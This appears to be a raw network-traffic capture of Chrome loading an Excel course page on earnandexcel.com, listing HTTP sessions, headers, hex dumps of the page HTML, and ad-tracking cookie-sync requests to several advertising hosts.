_hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _lr_retry_request=true; _lr_env_src_ats=false; _pubCommonId_cst=KSwgLIAsRg%3D%3D; am_tokens={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}; am_tokens_invalidate-verizon-pushes={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}
2024-04-11 21:27:07 UTC	1333	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0f0d2fca7c94-EWR CF-Cache-Status: HIT Age: 485833 Cache-Control: public, max-age=0, s-maxage=2592000 Last-Modified: Sun, 24 Mar 2024 23:51:31 GMT Link: <https://earnandexcel.com/wp-json/>; rel="https://api.w.org/", <https://earnandexcel.com/wp-json/wp/v2/courses/27949>; rel="alternate"; type="application/json", <https://earnandexcel.com/?p=27949>; rel=shortlink Vary: Accept-Encoding, sec-ch-ua-mobile accept-ch: Sec-CH-UA-Mobile content-security-policy: block-all-mixed-content ki-Cache-Tag: 2b83a4e6-d195-4d43-8593-11c2c85261d1,2cd1a3c4b232240332ce0a263e44702499f5c581ca960ad5aa5c35667d573c96 ki-cache-type: Edge Ki-CF-Cache-Status: HIT ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 x-kinsta-cache: HIT x-nitro-cache: MISS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CPYgO7M3X84XR3HgHXBYXF6J5x6EDOe%2Bknn6z5oK0YbUVF%2B483tFwFniukxKU3ZmgrVRkWW%2FNzEwPT%2BK35J1WBvkCm3LmbVCIhEqZ20n5E71NU9L7scrZsb7T0%2B97unxcxE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:27:07 UTC	36	IN	Data Raw: 37 61 37 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e Data Ascii: 7a74<!DOCTYPE html><html lang="en
2024-04-11 21:27:07 UTC	1369	IN	Data Raw: 2d 55 53 22 20 3e 0a 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 09 77 69 6e 64 6f 77 2e 66 6c 61 74 53 74 79 6c 65 73 20 3d 20 77 69 6e 64 6f 77 2e 66 6c 61 74 53 74 79 6c 65 73 20 7c 7c 20 27 27 0a 0a 09 09 09 77 69 6e 64 6f Data Ascii: -US" ><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><script type="text/javascript">window.flatStyles = window.flatStyles \|\| ''windo
2024-04-11 21:27:07 UTC	1369	IN	Data Raw: 6f 77 2e 66 6c 61 74 53 74 79 6c 65 73 20 2b 3d 20 63 75 72 72 65 6e 74 53 74 79 6c 65 73 68 65 65 74 2e 69 6e 6e 65 72 48 54 4d 4c 0a 0a 09 09 09 09 09 09 09 09 09 74 68 69 73 2e 6f 70 74 69 6d 69 7a 69 6e 67 20 3d 20 66 61 6c 73 65 0a 09 09 09 09 09 09 09 09 7d 0a 09 09 09 09 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 09 09 09 09 77 69 6e 64 6f 77 2e 66 6c 61 74 53 74 79 6c 65 73 20 3d 20 63 75 72 72 65 6e 74 53 74 79 6c 65 73 68 65 65 74 2e 69 6e 6e 65 72 48 54 4d 4c 0a 09 09 09 09 09 09 09 09 63 75 72 72 65 6e 74 53 74 79 6c 65 73 68 65 65 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 20 27 64 61 74 61 2d 6c 73 2d 6f 70 74 69 6d 69 7a 65 64 27 2c 20 27 31 27 20 29 0a 09 09 09 09 09 09 09 7d 0a 09 09 09 09 09 09 7d 0a 09 09 09 09 09 7d 20 63 61 74 Data Ascii: ow.flatStyles += currentStylesheet.innerHTMLthis.optimizing = false}} else {window.flatStyles = currentStylesheet.innerHTMLcurrentStylesheet.setAttribute( 'data-ls-optimized', '1' )}}} cat
2024-04-11 21:27:07 UTC	1369	IN	Data Raw: 67 65 2c 20 6d 61 78 2d 73 6e 69 70 70 65 74 3a 2d 31 2c 20 6d 61 78 2d 76 69 64 65 6f 2d 70 72 65 76 69 65 77 3a 2d 31 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 31 38 2e 32 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 4d 69 63 72 6f 73 6f 66 74 20 45 78 63 65 6c 20 54 6f 6f 6c 73 20 26 61 6d 70 3b 20 54 65 6d 70 6c 61 74 65 73 20 43 6f 75 72 73 65 20 4f 6e 6c 69 6e 65 20 2d 20 45 61 72 6e 20 26 61 6d 70 3b 20 45 78 63 65 6c 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 Data Ascii: ge, max-snippet:-1, max-video-preview:-1' />... This site is optimized with the Yoast SEO plugin v18.2 - https://yoast.com/wordpress/plugins/seo/ --><title>Microsoft Excel Tools & Templates Course Online - Earn & Excel</title><meta name="d
2024-04-11 21:27:07 UTC	1369	IN	Data Raw: 22 6f 67 3a 69 6d 61 67 65 3a 68 65 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 31 31 32 35 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6d 61 67 65 2f 6a 70 65 67 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 63 61 72 64 22 20 63 6f 6e 74 65 6e 74 3d 22 73 75 6d 6d 61 72 79 5f 6c 61 72 67 65 5f 69 6d 61 67 65 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 6c 61 62 65 6c 31 22 20 63 6f 6e 74 65 6e 74 3d 22 45 73 74 2e 20 72 65 61 64 69 6e 67 20 74 69 6d 65 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 64 61 74 61 31 22 20 63 6f 6e 74 65 6e 74 3d 22 39 20 6d 69 6e 75 Data Ascii: "og:image:height" content="1125" /><meta property="og:image:type" content="image/jpeg" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:label1" content="Est. reading time" /><meta name="twitter:data1" content="9 minu
2024-04-11 21:27:07 UTC	1369	IN	Data Raw: 70 72 69 6d 61 72 79 49 6d 61 67 65 4f 66 50 61 67 65 22 3a 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 63 6f 75 72 73 65 73 2f 65 78 63 65 6c 2d 74 6f 6f 6c 73 2d 61 6e 64 2d 74 65 6d 70 6c 61 74 65 73 2f 23 70 72 69 6d 61 72 79 69 6d 61 67 65 22 7d 2c 22 64 61 74 65 50 75 62 6c 69 73 68 65 64 22 3a 22 32 30 32 31 2d 30 36 2d 31 31 54 30 34 3a 32 33 3a 31 38 2b 30 30 3a 30 30 22 2c 22 64 61 74 65 4d 6f 64 69 66 69 65 64 22 3a 22 32 30 32 32 2d 30 32 2d 30 37 54 32 31 3a 32 37 3a 33 30 2b 30 30 3a 30 30 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 57 65 20 6f 66 66 65 72 20 61 20 33 2d 68 6f 75 72 73 20 6c 6f 6e 67 20 70 72 6f 6a 65 63 74 2d 62 61 73 65 64 20 45 78 63 65 6c 20 54 6f 6f 6c 73 20 Data Ascii: primaryImageOfPage":{"@id":"https://earnandexcel.com/courses/excel-tools-and-templates/#primaryimage"},"datePublished":"2021-06-11T04:23:18+00:00","dateModified":"2022-02-07T21:27:30+00:00","description":"We offer a 3-hours long project-based Excel Tools
2024-04-11 21:27:07 UTC	1369	IN	Data Raw: 68 65 65 74 27 20 69 64 3d 27 77 70 2d 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 73 73 2f 64 69 73 74 2f 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2f 73 74 79 6c 65 2e 6d 69 6e 2e 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 77 70 2d 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2d 74 68 65 6d 65 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 73 73 2f 64 69 73 74 2f 62 6c Data Ascii: heet' id='wp-block-library-css' href='https://earnandexcel.com/wp-includes/css/dist/block-library/style.min.css' type='text/css' media='all' /><link rel='stylesheet' id='wp-block-library-theme-css' href='https://earnandexcel.com/wp-includes/css/dist/bl
2024-04-11 21:27:07 UTC	1369	IN	Data Raw: 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 74 75 74 6f 72 2d 66 72 6f 6e 74 65 6e 64 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 74 75 74 6f 72 2f 61 73 73 65 74 73 2f 63 73 73 2f 74 75 74 6f 72 2d 66 72 6f 6e 74 2e 6d 69 6e 2e 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 74 75 74 6f 72 2d 66 72 6f 6e 74 65 6e 64 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 2e Data Ascii: type='text/css' media='all' /><link rel='stylesheet' id='tutor-frontend-css' href='https://earnandexcel.com/wp-content/plugins/tutor/assets/css/tutor-front.min.css' type='text/css' media='all' /><style id='tutor-frontend-inline-css' type='text/css'>.
2024-04-11 21:27:07 UTC	1369	IN	Data Raw: 61 6c 6c 65 72 79 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 65 64 75 6d 61 6c 6c 2f 61 73 73 65 74 73 2f 6c 69 62 73 2f 6c 69 67 68 74 47 61 6c 6c 65 72 79 2f 63 73 73 2f 6c 69 67 68 74 67 61 6c 6c 65 72 79 2e 6d 69 6e 2e 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 65 64 75 6d 61 6c 6c 2d 73 74 79 6c 65 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 65 64 75 6d 61 6c 6c Data Ascii: allery-css' href='https://earnandexcel.com/wp-content/themes/edumall/assets/libs/lightGallery/css/lightgallery.min.css' type='text/css' media='all' /><link rel='stylesheet' id='edumall-style-css' href='https://earnandexcel.com/wp-content/themes/edumall
2024-04-11 21:27:07 UTC	1369	IN	Data Raw: 65 64 75 6d 61 6c 6c 2d 63 6f 6c 6f 72 2d 62 6f 78 2d 6c 69 67 68 74 2d 67 72 65 79 2d 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 39 66 39 66 62 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 63 6f 6c 6f 72 2d 62 6f 78 2d 66 69 6c 6c 2d 73 65 70 61 72 61 74 6f 72 3a 20 23 65 65 65 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 63 6f 6c 6f 72 2d 62 6f 78 2d 62 6f 72 64 65 72 3a 20 23 65 65 65 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 63 6f 6c 6f 72 2d 62 6f 78 2d 62 6f 72 64 65 72 2d 6c 69 67 68 74 65 6e 3a 20 23 65 64 65 64 65 64 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 63 6f 6c 6f 72 2d 66 6f 72 6d 2d 74 65 78 74 3a 20 23 32 35 32 35 32 35 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 63 6f 6c 6f 72 2d 66 6f 72 6d 2d 62 6f 72 64 65 72 3a Data Ascii: edumall-color-box-light-grey-background: #f9f9fb;--edumall-color-box-fill-separator: #eee;--edumall-color-box-border: #eee;--edumall-color-box-border-lighten: #ededed;--edumall-color-form-text: #252525;--edumall-color-form-border:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
562	192.168.2.17	50402	52.46.130.91	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	786	OUT	GET /iu3?cm3ppd=1&d=dtb-pub&csif=t&gdpr=0&dl=gg_an-db5 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-privacy=0; ad-id=A2D_XDx3tU5MhPWHEz8pwhw
2024-04-11 21:27:07 UTC	827	IN	HTTP/1.1 200 OK Server: Server Date: Thu, 11 Apr 2024 21:27:07 GMT Content-Type: text/html;charset=ISO-8859-1 Content-Length: 281 Connection: close x-amz-rid: ZJAZQ5JCQECWAMHGCA0M Set-Cookie: ad-id=A2D_XDx3tU5MhPWHEz8pwhw; Domain=.amazon-adsystem.com; Expires=Wed, 01-Jan-2025 21:27:07 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Jul-2029 21:27:07 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-04-11 21:27:07 UTC	281	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 22 3e 0a 3c 69 66 72 61 6d 65 20 77 69 64 74 68 3d 22 31 22 20 68 65 69 67 68 74 3d 22 31 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 22 20 73 72 63 3d 22 2f 2f 73 2e 61 6d 61 7a 6f 6e 2d 61 64 73 79 73 74 65 6d 2e 63 6f 6d 2f 76 33 2f 70 72 3f 65 78 6c 69 73 74 3d 67 67 5f 61 6e 2d 64 62 35 26 66 76 3d 31 2e 30 26 61 3d 63 6d 26 63 6d 33 70 70 64 3d 31 26 64 6d 74 3d 33 26 67 64 70 72 3d 30 22 20 73 61 6e 64 62 6f 78 3d 22 61 6c 6c 6f 77 2d 73 61 6d 65 2d 6f 72 69 67 69 6e 20 61 6c 6c 6f 77 2d 73 63 72 69 70 74 73 Data Ascii: <html><body style="background-color:transparent"><iframe width="1" height="1" frameborder="0" marginwidth="0" marginheight="0" src="//s.amazon-adsystem.com/v3/pr?exlist=gg_an-db5&fv=1.0&a=cm&cm3ppd=1&dmt=3&gdpr=0" sandbox="allow-same-origin allow-scripts

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
563	192.168.2.17	50426	52.71.183.211	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	659	OUT	GET /insync?vxii_pid=10067&vxii_pdid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent= HTTP/1.1 Host: thrtle.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:07 UTC	570	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:07 GMT Content-Type: text/html; charset=utf-8 Content-Length: 211 Connection: close Location: https://thrtle.com/insync?gdpr=0&gdpr_consent=&vxii_pdid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&vxii_pid=12&vxii_pid1=10067&vxii_rcid=a00077bb-d00a-41b9-9880-89d79196cebf P3p: CP="NOI OUR BUS UNI COM NAV" Set-Cookie: mc=eyJpZCI6ImEwMDA3N2JiLWQwMGEtNDFiOS05ODgwLTg5ZDc5MTk2Y2ViZiIsImwiOjE3MTI4NzA4MjcxMjYsInQiOjF9; Path=/; Domain=thrtle.com; Expires=Thu, 11 Apr 2024 21:27:07 GMT; Max-Age=17280000; Secure; SameSite=None
2024-04-11 21:27:07 UTC	211	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 72 74 6c 65 2e 63 6f 6d 2f 69 6e 73 79 6e 63 3f 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 61 6d 70 3b 76 78 69 69 5f 70 64 69 64 3d 32 35 46 39 35 34 39 45 2d 31 33 36 41 2d 34 37 45 39 2d 39 31 37 31 2d 44 41 34 34 43 30 45 30 44 35 45 33 26 61 6d 70 3b 76 78 69 69 5f 70 69 64 3d 31 32 26 61 6d 70 3b 76 78 69 69 5f 70 69 64 31 3d 31 30 30 36 37 26 61 6d 70 3b 76 78 69 69 5f 72 63 69 64 3d 61 30 30 30 37 37 62 62 2d 64 30 30 61 2d 34 31 62 39 2d 39 38 38 30 2d 38 39 64 37 39 31 39 36 63 65 62 66 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://thrtle.com/insync?gdpr=0&gdpr_consent=&vxii_pdid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&vxii_pid=12&vxii_pid1=10067&vxii_rcid=a00077bb-d00a-41b9-9880-89d79196cebf">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
564	192.168.2.17	50406	8.2.110.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	653	OUT	GET /77781087eb9a0621642f9ebec6beb8d1.gif?puid=[UID]&redir=[RED]&gdpr=0&gdpr_consent= HTTP/1.1 Host: cs.krushmedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:07 UTC	546	IN	HTTP/1.1 302 Found Server: nginx Date: Thu, 11 Apr 2024 21:27:07 GMT Content-Length: 0 Connection: close Set-Cookie: krm_usr=d272def7-7f68-57e5-a617-5df95f92add8; path=/; domain=.krushmedia.com; expires=Thu, 25 Apr 2024 21:27:07 GMT;SameSite=None;Secure Set-Cookie: krm_r=572; path=/; domain=.krushmedia.com; expires=Thu, 25 Apr 2024 21:27:07 GMT;SameSite=None;Secure Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Location: http://ce.lijit.com/merge?pid=102&3pid=d272def7-7f68-57e5-a617-5df95f92add8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
565	192.168.2.17	50433	18.206.144.25	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	615	OUT	GET /CookieSyncPubMatic&gdpr=0&gdpr_consent= HTTP/1.1 Host: rtb.adentifi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:07 UTC	128	IN	HTTP/1.1 204 No Content Date: Thu, 11 Apr 2024 21:27:07 GMT Content-Type: text/plain Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
566	192.168.2.17	50403	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	729	OUT	GET /pixel?google_nid=sovrn&google_hm=SWViSEFMWkh3cEQ1Vk5LeFJYYXZTSGlM&gdpr=0 HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUnKTao8RJNkre_DilFL_eNpJEN6oSgYP12FeM51cAOqXnzsiO_HwKK3PwdFhxI
2024-04-11 21:27:07 UTC	604	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://s0.2mdn.net/dot.gif?gdpr=0 Date: Thu, 11 Apr 2024 21:27:07 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 231 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:07 UTC	231	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 73 30 2e 32 6d 64 6e 2e 6e 65 74 2f 64 6f 74 2e 67 69 66 3f 67 64 70 72 3d 30 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://s0.2mdn.net/dot.gif?gdpr=0">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
567	192.168.2.17	50421	54.147.229.205	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
